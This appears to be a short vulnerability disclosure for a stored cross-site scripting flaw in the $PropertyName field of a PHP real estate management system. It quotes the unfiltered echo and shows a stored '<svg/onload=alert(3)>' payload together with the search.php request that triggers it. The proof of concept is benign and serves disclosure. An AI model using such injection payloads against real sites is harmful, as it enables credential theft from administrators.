

Real Estate Property Management System has Cross Site Scripting vulnerability in \$PropertyName parameter

supplier

<https://code-projects.org/real-estate-property-management-system-php-source-code/>

Vulnerability file

\$PropertyName parameter

describe

There is an Cross Site Scripting vulnerability in Real Estate Property Management System Control parameter: \$PropertyName parameter

A malicious attacker can use this vulnerability to obtain administrator login credentials or phishing websites

code analysis

echo \$\$PropertyName in no filter. cause cross site scripting vulnerability.

```
67 $PropertyName=$row['PropertyName'];
```

```
<tr>
| <td><span class="style9 style10">Property Name:</span></td>
| <td><span class="style9 style10"><?php echo $PropertyName ;?></span></td>
| </tr>
| <tr>
```

POC

表	视图	函数	用户	其它	查询	备份	自动运行	模型	图表
对象	city_master @p...	state_master @p...	state_master @p...	area_master @p...	category_master...	property_master...	property_maste		
开始事务	文本	筛选	排序	列	导入	导出	数据生成	创建图表	
PropertyId	CategoryId	StateName	CityName	AreaName	PropertyName	PropertyImage	PropertyDesc	TotalAr	
3	1	Florida	Tallahassee	Espn Road	Lostwoord Society	2.jpg	Nice Home		
4	1	Florida	Tallahassee	Popn Road	Treaser Royal	house4.gif	Newly Established Socie		
6	2	Florida	Tallahassee	New Road	<svg/onload=alert(3)>	sale.gif	A Gift Shop		

asset the url

```
GET /search.php?  
StateName=Florida&CityName=Tallahassee&AreaName=New%20Road&CatID=2 HTTP/1.1  
Host: property  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101  
Firefox/134.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate, br  
Connection: close  
Upgrade-Insecure-Requests: 1  
Priority: u=0, i
```

Result

